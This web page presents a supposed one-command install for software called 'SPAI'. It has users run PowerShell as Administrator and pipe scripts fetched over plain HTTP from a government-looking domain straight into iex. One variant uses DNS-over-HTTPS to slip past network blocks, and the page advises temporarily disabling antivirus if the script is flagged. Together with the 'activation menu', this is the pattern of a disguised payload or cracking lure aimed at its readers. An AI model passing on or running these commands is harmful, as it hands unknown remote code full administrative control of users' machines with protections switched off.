SPAI One‑Command Install

Install SPAI using a single PowerShell command — fast, safe, and reliable.

View Guide

Installation Guide

Follow these simple steps to install SPAI on your Windows system

1

Open PowerShell as Administrator

Right‑click PowerShell and choose "Run as Administrator".

Quick tip: Press Win + X then A for faster access.
2

Run the appropriate command

irm http://spai.kdh.moh.gov.my | iex
iex ((New-Object Net.WebClient).DownloadString('http://spai.kdh.moh.gov.my/ps'))

Windows 10/11 updated builds only.

iex (curl.exe -s --doh-url https://8.8.8.8/dns-query http://spai.kdh.moh.gov.my/ps | Out-String)
3

Confirm and activate

Installation complete
Activation menu opens automatically.
Select options
Choose the green‑highlighted actions.
Alternative Methods
Try legacy or DNS tabs if the main command is blocked by your network.
Antivirus Notice
Temporarily disable antivirus if the script gets flagged as suspicious.
Network Restrictions
Use the DNS method on corporate or restricted networks.